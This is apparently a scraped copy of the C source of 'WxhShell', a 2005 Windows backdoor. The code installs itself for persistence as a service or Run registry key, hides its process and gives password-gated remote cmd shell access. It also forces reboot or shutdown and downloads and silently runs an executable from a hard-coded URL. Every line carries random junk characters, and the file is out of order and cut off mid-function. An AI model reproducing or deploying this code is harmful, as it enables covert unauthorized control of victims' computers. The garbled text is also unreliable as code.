  case 'd': { `E|i8M3g  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]9_gbQ   
    if(Boot(SHUTDOWN)) =`x }9|[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4dixHpq'  
    else { :]:)c8!6  
    closesocket(wsh); iw#~xel<ez  
    ExitThread(0); !h1:AW_iz  
    } Bq$IBAot  
    break; f?d5Ltg   
    } =]%,&Se  
  // 获取shell /KvJjt'8  
  case 's': { _Q:z -si  
    CmdShell(wsh); OUWK  
    closesocket(wsh); YPx+9^)  
    ExitThread(0); 4AN8Sx(  
    break; x8aOXN#w}  
  } LZ wCe$1  
  // 退出 yF\yxdUX#  
  case 'x': {  Gd A!8  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); WVD48}HF-  
    CloseIt(wsh); yKhI&  
    break; z~2{`pET  
    } W=HvMD  
  // 离开 XaCvBQ  
  case 'q': { jyD~ER}J  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); CHTK.%AQH!  
    closesocket(wsh); n*"r!&Dg  
    WSACleanup(); 1\}XL=BE  
    exit(1); Z,"4f*2  
    break; .Wt3|?\=nd  
        } U 2-{p  
  } z&QfZs  
  } o/3.U=px~  
[.4{s  
  // 提示信息 e1g3a1tnWl  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /4O))}TX  
} WowT!0$  
  } $y6 <2w%b  
U;/2\Ii  
  return; QM8Ic,QFvo  
} R*vQvO%)h  
,c"J[$i$  
// shell模块句柄 VwH|ed$  
int CmdShell(SOCKET sock) d<d3j9u(#  
{ mhVLlb Y|t  
STARTUPINFO si; : %& E58  
ZeroMemory(&si,sizeof(si)); -TVwoK  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; I;Mm+5A  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3!8(A/YP;  
PROCESS_INFORMATION ProcessInfo; 4Q0ZY(2 EO  
char cmdline[]="cmd"; `(HvD] l  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); `Pc6 G*p  
  return 0; :pM 8Q1:B  
} JXL?.{'A  
HnArj_E  
// 自身启动模式 Btxtu"]nJo  
int StartFromService(void) |kK5:\H  
{ mt+i0PIfj  
typedef struct e_e\Ie/pDc  
{ .;g kV-]  
  DWORD ExitStatus; {ol7*%u  
  DWORD PebBaseAddress; Uj;JN}k  
  DWORD AffinityMask; ="78#Wfj2  
  DWORD BasePriority; MO$y st?fK  
  ULONG UniqueProcessId; }$z(?b  
  ULONG InheritedFromUniqueProcessId; Eu' ;f_s  
}   PROCESS_BASIC_INFORMATION; ]7}!3m  
~-Kx^3(#  
PROCNTQSIP NtQueryInformationProcess; 2b7-=/[6  
<=p>0L  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 0 aH&M4  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; .^*;hZ~4%  
B!pz0K*uG  
  HANDLE             hProcess; zYV{ |Z  
  PROCESS_BASIC_INFORMATION pbi; 61Cc? a*_  
/i8OyRpSyk  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); r'Wf4p^Xd  
  if(NULL == hInst ) return 0; 3" m]A/6C}  
WYb}SI(E  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }Q4Vy  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ?|kbIZP(  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @*|VWHR  
g;=VuQuP|  
  if (!NtQueryInformationProcess) return 0; xI{fd1  
R_B0CM<!  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); o)XrC   
  if(!hProcess) return 0; !.,J;Qt  
M>Q ZN  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }| MX=:@*  
f|VCibI  
  CloseHandle(hProcess); +# 'w} P  
rl 7up  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 7P2n{zd,  
if(hProcess==NULL) return 0; F/ZFO5C%  
|P]W#~Y-  
HMODULE hMod; }O7sP^  
char procName[255]; )Xg5=zn$  
unsigned long cbNeeded; UH-873AK  
rmzzbLTu  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); H2%Qu<Kg2  
*V hEl7  
  CloseHandle(hProcess); 7:olStK  
,93Uji[l  
if(strstr(procName,"services")) return 1; // 以服务启动 3as=EYm  
qr4 lr!#t  
  return 0; // 注册表启动 _|["}M"?  
} ss%,  
pWKE`x^  
// 主模块 WfaMu| L  
int StartWxhshell(LPSTR lpCmdLine) 9[zxq`qT}+  
{ A0 Nx?  
  SOCKET wsl; *gH]R*Q[Rt  
BOOL val=TRUE; b]b>i]n  
  int port=0; y@l&B+2ks  
  struct sockaddr_in door; :pdX  
V5(_7b#z``  
  if(wscfg.ws_autoins) Install(); FA*$ dwp  
P 9yMf~  
port=atoi(lpCmdLine); %Zk6K!MY#  
d~qQ_2M[G  
if(port<=0) port=wscfg.ws_port; 9no<;1+j,  
WF`%7A39Af  
  WSADATA data; E>s+"y  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; zQulPU  
>fWGiFmlk  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   3!l>\#q6  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); GIzB1cl:  
  door.sin_family = AF_INET; Op-z"inw  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); )9"^ D  
  door.sin_port = htons(port); ^'E^*R  
6}-No  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { W"Y)a|rG%  
closesocket(wsl); y@7fR9hp<  
return 1; I9 zs  
} A]!0Z:{h%  
9oJM?&i  
  if(listen(wsl,2) == INVALID_SOCKET) { s0dP3tz>  
closesocket(wsl); ,Tr&`2w  
return 1; 3`yO&upk  
} kyAN O  
  Wxhshell(wsl); xH\\#4/  
  WSACleanup(); L0"|4=  
0\XWdTj{  
return 0; eZOR{|z  
.4^+q9M  
} _aevaWtEx  
^}Vc||S  
// 以NT服务方式启动 neM.M)0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) c`;oV-f  
{ ]0*aE  
DWORD   status = 0; iSO xQ  
  DWORD   specificError = 0xfffffff; aI&~aezmN  
`hO%(9V9  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 56z>/`=  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ?@4Mt2Z\  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; AB/${RGf+  
  serviceStatus.dwWin32ExitCode     = 0; |K1S(m<F  
  serviceStatus.dwServiceSpecificExitCode = 0; 3XlQ4  
  serviceStatus.dwCheckPoint       = 0; fE~KWLm  
  serviceStatus.dwWaitHint       = 0; se %#U40*  
+ )Qu,%2   
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); e-y$&[  
  if (hServiceStatusHandle==0) return; ?YR;o4  
d.+  
status = GetLastError(); v_5qE  
  if (status!=NO_ERROR) ru 6`Z+p  
{ Gt#r$.]W?o  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; y\^zxG*]'  
    serviceStatus.dwCheckPoint       = 0; bK%F_v3'  
    serviceStatus.dwWaitHint       = 0; [<f2h-V$  
    serviceStatus.dwWin32ExitCode     = status; *fc8M(]&d  
    serviceStatus.dwServiceSpecificExitCode = specificError; yZ6WbI8n  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); AVQcD`V3B  
    return; UCcr>  
  } @>O7/d?O  
[T r7SU#x  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Dst;sLr[,  
  serviceStatus.dwCheckPoint       = 0; ^WB[uFt-  
  serviceStatus.dwWaitHint       = 0; ,nYa+e  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ?I^$35  
} w3,KqF  
CmBP C jh  
// 处理NT服务事件,比如:启动、停止 ^$P_B-C N  
VOID WINAPI NTServiceHandler(DWORD fdwControl) :G 5p`;hGo  
{ K*j OrQf`  
switch(fdwControl) o4p5`jOG@  
{ hx0t!k(3  
case SERVICE_CONTROL_STOP: zgjgEhnvU  
  serviceStatus.dwWin32ExitCode = 0; s U`#hL6;  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; |iUF3s|?  
  serviceStatus.dwCheckPoint   = 0; 9ia&/BT7"z  
  serviceStatus.dwWaitHint     = 0; J.XkdGQ  
  { ks. p)F>]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _m?i$5  
  } &6CDIxH{  
  return; A[m?^vk q  
case SERVICE_CONTROL_PAUSE: YaS!YrpI  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Ne+Rs+~4  
  break; #d %v=.1  
case SERVICE_CONTROL_CONTINUE: OE(y$+L3_I  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; D Z*c.|W  
  break; Vwp>:'Pu  
case SERVICE_CONTROL_INTERROGATE: aQ(P#n>a2  
  break; d3rjj4N"z  
}; aU;X&g+_)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _UTN4z2aTG  
}  dHx4yFS  
=)+^y}xb  
// 标准应用程序主函数 gH(#<f@ZI  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) uq]=L  
{ Q<6* UUQm  
fGV'l__\\  
// 获取操作系统版本 Fy5:|C N  
OsIsNt=GetOsVer(); {H,O@  
GetModuleFileName(NULL,ExeFile,MAX_PATH); OSO MFt  
m&=Dy5  
  // 从命令行安装 Rp2h[_>  
  if(strpbrk(lpCmdLine,"iI")) Install(); GjwH C{  
8g8eY pG  
  // 下载执行文件 %TI3Eb  
if(wscfg.ws_downexe) { jX4$PfOhR  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^!^M Gzu  
  WinExec(wscfg.ws_filenam,SW_HIDE); f`ibP6%  
} mxCneX  
0@?m"|G  
if(!OsIsNt) { tLKf]5}f  
// 如果时win9x,隐藏进程并且设置为注册表启动 0Md.3kY  
HideProc(); s2,6aW C  
StartWxhshell(lpCmdLine); D6lzc f  
} !)oQ9,N  
else ^"<Bk<b(  
  if(StartFromService()) DC).p'0VL  
  // 以服务方式启动 2<UC^vZ  
  StartServiceCtrlDispatcher(DispatchTable); 9 D.wW  
else jjH2!R]^>  
  // 普通方式启动 uM 'n4oH  
  StartWxhshell(lpCmdLine); nL^7t7mp  
`%[m%Y9h  
return 0; c86?-u')  
} <=|^\r !}&  
1:<n(?5JI  
p}==aNZK  
lGahwn:  
=========================================== O6$,J1 2l  
,k.")  
j{FRD8]V  
7)D[}UXz  
l$!ExXEZO;  
V"8Go;[  
" fCu;n%   
T0fm6 J  
#include <stdio.h> *?Wz/OJ0  
#include <string.h> ~h<T0Zc  
#include <windows.h> p/0dtnXa(  
#include <winsock2.h> xr.;B`T0\'  
#include <winsvc.h> :KC]1_zqR  
#include <urlmon.h> x Y$x= )  
mW)kWuOO  
#pragma comment (lib, "Ws2_32.lib") 3BK 8{/  
#pragma comment (lib, "urlmon.lib") x2fqfrr_]  
/Cwwz  
#define MAX_USER   100 // 最大客户端连接数 f8K0/z  
#define BUF_SOCK   200 // sock buffer &b:y#gvJ:  
#define KEY_BUFF   255 // 输入 buffer z{BgAI,  
GNHXtu6  
#define REBOOT     0   // 重启 uUp>N^mmVH  
#define SHUTDOWN   1   // 关机 Edc3YSg%;  
7?g({]  
#define DEF_PORT   5000 // 监听端口  IN6L2/Q  
3`D*AFQc  
#define REG_LEN     16   // 注册表键长度 `;G@qp:A  
#define SVC_LEN     80   // NT服务名长度 Jon3ywd1Y  
21<Sfsc$  
// 从dll定义API C+!=C{@7di  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Y[b08{/  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); xv>8rW(Np5  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); P;XA|`&  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); kn$SG  
Ot=nKdP}D  
// wxhshell配置信息 1M)88&  
struct WSCFG { )X*_oH=  
  int ws_port;         // 监听端口 1)}hzA  
  char ws_passstr[REG_LEN]; // 口令 G?~Yw'R^8  
  int ws_autoins;       // 安装标记, 1=yes 0=no #Q_Scxf  
  char ws_regname[REG_LEN]; // 注册表键名 !j  #8zN  
  char ws_svcname[REG_LEN]; // 服务名 u*\QVOF  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 dw}ge,bBic  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 DI-&P3iGx  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 oEZhKVyc.y  
int ws_downexe;       // 下载执行标记, 1=yes 0=no J7WNgl% u  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" KX\=wFbP)  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ErA*a3  
m_  wvi  
}; OP(om$xm  
fi'zk  
// default Wxhshell configuration o6x8j z  
struct WSCFG wscfg={DEF_PORT, &sn-;r  
    "xuhuanlingzhe", YJwI@E(l$  
    1, .j)DE}[q>  
    "Wxhshell", `|nJAW3  
    "Wxhshell", v8\_6}*I  
            "WxhShell Service", E2o8'.~Yd`  
    "Wrsky Windows CmdShell Service", " 5Pqvi  
    "Please Input Your Password: ", ou)0tX3j  
  1, "kc%d'c(  
  "http://www.wrsky.com/wxhshell.exe", 0"\js:-$  
  "Wxhshell.exe" yHf^6|$8  
    }; Ug#B( }/  
6R3/"&P(/#  
// 消息定义模块 T{3-H(-gA  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; NP\/9 8|1  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 4%yeEc ;z  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; R Ee~\n+P^  
char *msg_ws_ext="\n\rExit."; /55 3v;l<  
char *msg_ws_end="\n\rQuit."; =yJc pj  
char *msg_ws_boot="\n\rReboot..."; Z~w?Qm:/  
char *msg_ws_poff="\n\rShutdown..."; X+\=dhn69  
char *msg_ws_down="\n\rSave to "; `} 'o2oZnG  
%dd B$(  
char *msg_ws_err="\n\rErr!"; Xa'b @*o&  
char *msg_ws_ok="\n\rOK!"; LChwHkRHJI  
=`MQKh,  
char ExeFile[MAX_PATH]; r<dvo%I#|  
int nUser = 0; ^5!"[RB\  
HANDLE handles[MAX_USER]; W^,p2  
int OsIsNt; 4e[ 0.2?  
_w <6o<@  
SERVICE_STATUS       serviceStatus; /_(l :q^  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; =td(}3|D Y  
S}/ZHo  
// 函数声明 @v6{U?  
int Install(void); ~2Mcw`<  
int Uninstall(void); PM:u~D$Jd  
int DownloadFile(char *sURL, SOCKET wsh); 0LHge7482  
int Boot(int flag); 6h[fk.W_  
void HideProc(void); F CfU=4O  
int GetOsVer(void); \@NnL\ t u  
int Wxhshell(SOCKET wsl); G&N),wsNZK  
void TalkWithClient(void *cs); HZ{DlH;&  
int CmdShell(SOCKET sock); 5C-n"8&C&  
int StartFromService(void); R6o07.]  
int StartWxhshell(LPSTR lpCmdLine); {oo(HD;5  
iqd7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); IQ~EL';<w  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Hb$wawy<  
,/p .!+  
// 数据结构和表定义 )q{e L$  
SERVICE_TABLE_ENTRY DispatchTable[] = i94)DWZ^  
{ @, z4{B  
{wscfg.ws_svcname, NTServiceMain}, WR* <|  
{NULL, NULL} .'1]2/ad  
}; ))6iVgSE$  
kQ6YQsJ.*  
// 自我安装 B]#iZ,Tp  
int Install(void) #@M'*X_%}K  
{ 51s3hX$  
  char svExeFile[MAX_PATH]; UPuG&A#VV  
  HKEY key; y.Yni*xt/  
  strcpy(svExeFile,ExeFile); :7qJ[k{g  
2DBFY1[Pk  
// 如果是win9x系统,修改注册表设为自启动 i[e-dT:*R  
if(!OsIsNt) { K;g6V!U  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { b:*( f#"q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "? 5@j/ e`  
  RegCloseKey(key); -A"0mS8L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { g3'yqIjQL  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); > lK:~~1  
  RegCloseKey(key); GtqA@&5&  
  return 0; c#[d7t8ONe  
    } a&n}pnEn)  
  } !xC IvKW  
} c=:A/z{  
else { _ba.oIc  
4':U rJ+  
// 如果是NT以上系统,安装为系统服务 EhIa31>X  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Ymcc|u6$"  
if (schSCManager!=0) .Dyxul  
{ *ur[u*g  
  SC_HANDLE schService = CreateService H#I%6k*\a  
  ( `hl1R3nBM  
  schSCManager, Wl>$<D4mO[  
  wscfg.ws_svcname, R8u9tTW  
  wscfg.ws_svcdisp, 7/c9azmC  
  SERVICE_ALL_ACCESS, \v.YP19  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , .t%` "C  
  SERVICE_AUTO_START, <:0d%YB)  
  SERVICE_ERROR_NORMAL, lz0'E'%{P  
  svExeFile, E K^["_*A  
  NULL, u6p nO  
  NULL, N07FU\<9  
  NULL, J*f..:m  
  NULL, v<S?"# ]F=  
  NULL R%%h=]  
  ); n0@\x=9  
  if (schService!=0) + gP 4MP  
  { F='rGQK!1  
  CloseServiceHandle(schService); }mQh^  
  CloseServiceHandle(schSCManager); 7|7sA'1 cM  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); C@FX[:l@-  
  strcat(svExeFile,wscfg.ws_svcname); @arMg2"o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { X$$b:q  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); sJcwN.s  
  RegCloseKey(key); v>p~y u+G  
  return 0; %VzCeS9  
    } JKYkS*.a}  
  } *}NJ  
  CloseServiceHandle(schSCManager); ]`n6H[6O  
} m"8Gh `Fo  
} GH6ozWA  
DWar3+u&0  
return 1; 0%hOB :  
} !PY.F nZ  
bp(X\:zAy  
// 自我卸载 "+ 8Y{T  
int Uninstall(void) ?Kf?Z`9 *Y  
{ ^U@E rc#d  
  HKEY key; ;1woTAuD  
6 g`Y~ii  
if(!OsIsNt) { P}C;%KzA  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `Ot;KDz  
  RegDeleteValue(key,wscfg.ws_regname); ]^@!ID$c  
  RegCloseKey(key); hj-#pL-t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3SWO_  
  RegDeleteValue(key,wscfg.ws_regname); [n;GP@A ]R  
  RegCloseKey(key); |R$/oq  
  return 0; .UJjB}4$f  
  }  Wfyap)y  
} 6):^m{RH^  
} q6 Rr?  
else { 0hx EI  
92K#xM/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); \A9hYTC)  
if (schSCManager!=0) p4'Qki8Hd  
{ lip1wR7  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $P%b?Y/  
  if (schService!=0) f^[:w1X$sM  
  { OQm-BL   
  if(DeleteService(schService)!=0) { FYu=e?L  
  CloseServiceHandle(schService); XDrNc!XN  
  CloseServiceHandle(schSCManager); 4^rO K  
  return 0; J$Nc9 ?|ZZ  
  } O E56J-*}x  
  CloseServiceHandle(schService); 7|eD}=jy  
  } 00)=3@D  
  CloseServiceHandle(schSCManager); jZvQMW  
} 8g CQ0w<  
} /5c;,.hm1R  
]f"l4ay@M  
return 1; $s-HG[lX[  
} \+B+M 7  
qdeS*r p\  
// 从指定url下载文件 w- .=u3  
int DownloadFile(char *sURL, SOCKET wsh) m"Y|xvIA  
{  B Ji  
  HRESULT hr; 2K1odqO#   
char seps[]= "/"; 2m/=0sb\{  
char *token; 'v*Y7zZ#K  
char *file; .U:DuyT  
char myURL[MAX_PATH]; [J.-gN$X@  
char myFILE[MAX_PATH]; zS##YR  
m;"i4!  
strcpy(myURL,sURL); =9ISsI\Y6  
  token=strtok(myURL,seps); D.\s mk  
  while(token!=NULL) K6Gri>Um  
  { fhZD#D  
    file=token; ;0f?-W?1  
  token=strtok(NULL,seps); 3Vj,O?(Z  
  } On{p(| l  
(X"WEp^Q{I  
GetCurrentDirectory(MAX_PATH,myFILE); ,3`RM $  
strcat(myFILE, "\\"); AK*F,H9  
strcat(myFILE, file); U0kEhMIIf  
  send(wsh,myFILE,strlen(myFILE),0); _jW}p-j  
send(wsh,"...",3,0); TZ,kmk#  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); szy^kj^2  
  if(hr==S_OK) 9"YOj_z  
return 0; s-He  
else IT u6m<V  
return 1; kM,$0 @  
'h&"xXv4|  
} =fZ)2q  
nUL8*#p-  
// 系统电源模块 g0!{CW  
int Boot(int flag) Uxq9H  
{ cH!w;U b]  
  HANDLE hToken; S>oQm  
  TOKEN_PRIVILEGES tkp; noBGP/Av=:  
J c~{ E  
  if(OsIsNt) { W1 qE,%cx  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ^&W(|R-,J&  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  {u}Lhv  
    tkp.PrivilegeCount = 1; >6(91J  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; P7Ws$7x  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); fQ^45ulz  
if(flag==REBOOT) { k2xOu9ncEj  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 8W|qm;J98  
  return 0; |lijnfp  
} : _>/Yd7-&  
else { kR0d]"dr  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) l 6;}nG  
  return 0; iJza zQ  
} =2z9Aq{  
  } P%6-W5<  
  else { + W ? / A]  
if(flag==REBOOT) { fr1/9E;  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) >~kSe=Hsb4  
  return 0; dX0"h5v1  
} X=<-rFW  
else { xYJ|G=h&A  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) os]P6TFFX?  
  return 0; o1"MW>B,4  
} 72gQ<Si  
} 2U-F}Z  
Qifjv0&;u  
return 1; G6N$^HkW?  
} Dwq}O  
e)[>E\u_  
// win9x进程隐藏模块 F;mK)Q-  
void HideProc(void) }?pY~f  
{ sz'IGy%  
Z2]ySyt]  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); `2X#;{a:  
  if ( hKernel != NULL )  lqO"  
  { ]Hp o[IF  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); HrUQ X4  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); D|u! KH  
    FreeLibrary(hKernel); 0{/P1  
  } f*VBSg[`  
g9fS|T  
return; m8q3Pp  
} 7[wHNJ7)r  
|Go?A/'  
// 获取操作系统版本 Cc?BJ  
int GetOsVer(void) )19As8rL/o  
{ B*+3A!{s  
  OSVERSIONINFO winfo; idLysxN  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); QeYO)sc`  
  GetVersionEx(&winfo); HCh;Xi  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) a sDq(J`sQ  
  return 1; 'Jb6CR n  
  else MX%D %} N  
  return 0; xhAORhw#  
} [/}y!;3iXM  
%E95R8SL  
// 客户端句柄模块 :GU6v4u  
int Wxhshell(SOCKET wsl) I<q=lK  
{ *RQkL'tRf  
  SOCKET wsh; "JLKO${ Y  
  struct sockaddr_in client; 7a@%^G @!  
  DWORD myID; R6ynL([xh  
}U=|{@%  
  while(nUser<MAX_USER)  q$$:<*Uy  
{ '1lr "}"Q+  
  int nSize=sizeof(client); 5 } 9}4e  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); X]J]7\4tF\  
  if(wsh==INVALID_SOCKET) return 1; 7gR8Wr ^  
"#H@d+u  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); J`T1 88  
if(handles[nUser]==0) (~~*PT-  
  closesocket(wsh); !%' 1 x2?  
else =v4;t'_^  
  nUser++; K|-?1)Um  
  } pSQ)DqW  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); y9?~^pTx  
uaMf3HeYV  
  return 0; B5>1T[T'-  
} >^#OtFHuT)  
TO.71x|  
// 关闭 socket H+:SL $+<o  
void CloseIt(SOCKET wsh) pu(a&0  
{ 03ol!|X "9  
closesocket(wsh); as1ZLfN.  
nUser--; (nk)'ur.  
ExitThread(0); D-7PO3F:F  
} *xEcX6ZHX  
93="sS  
// 客户端请求句柄 &UhI1mi]h  
void TalkWithClient(void *cs) @J~n$^ke  
{ o2 =UUD&  
=&QC&CqEi  
  SOCKET wsh=(SOCKET)cs; ~Qzb<^9]  
  char pwd[SVC_LEN]; W+[XNIg5   
  char cmd[KEY_BUFF]; Ca[H<nyj  
char chr[1]; bWN%dn$$M  
int i,j; ,EyZ2`|  
#rL%K3'  
  while (nUser < MAX_USER) { KdT1Nb=  
b[Z5:[@\#  
if(wscfg.ws_passstr) { &uwj&-u?  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {{b&l!  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); RbUhLcG5  
  //ZeroMemory(pwd,KEY_BUFF); 0n25{N  
      i=0; 0f.rjd  
  while(i<SVC_LEN) { u~#QvA~]  
Y$0Y_fm%  
  // 设置超时 9$&+0  
  fd_set FdRead; cPh U q ET  
  struct timeval TimeOut; H6ff b)&  
  FD_ZERO(&FdRead); )D ^.{70N  
  FD_SET(wsh,&FdRead); XeD9RMT  
  TimeOut.tv_sec=8; q2* G86  
  TimeOut.tv_usec=0; @1#QbNp#  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); jseyT#2  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ! 6kLL  
:DP%>H|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); B3V:?#  
  pwd=chr[0]; <qD/ #$   
  if(chr[0]==0xd || chr[0]==0xa) { J:  
  pwd=0; GzJLG=M  
  break; o9dqHm  
  } Z^i=51  
  i++; R u^v!l`!7  
    } t.sbfLu  
=`f6@4H  
  // 如果是非法用户,关闭 socket Y>KRI2](<  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]C |Zs=5  
} ng]jpdeA  
MWv_BXQ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 6LUO  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c}iVBN6~.<  
yc.Vm[!  
while(1) { N&`VMEB)k  
"4c ?hH:C  
  ZeroMemory(cmd,KEY_BUFF); Ue:'55  
7^|oO~x6  
      // 自动支持客户端 telnet标准   F|K=].  
  j=0; rn^ 7B-V  
  while(j<KEY_BUFF) { O>)<w Ms`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); q\Cg2[nn2  
  cmd[j]=chr[0]; Ri]7=.QI`  
  if(chr[0]==0xa || chr[0]==0xd) { z?$F2+f&  
  cmd[j]=0; bWzv7#dd=  
  break; (Dr g  
  } IUco 8  
  j++; Nx~9Ug  
    } NET?Ep  
JcsJfTI  
  // 下载文件 (lwrk(  
  if(strstr(cmd,"http://")) { <rUH\z5cP  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); /.<tC(  
  if(DownloadFile(cmd,wsh)) 0HUSN_3F  
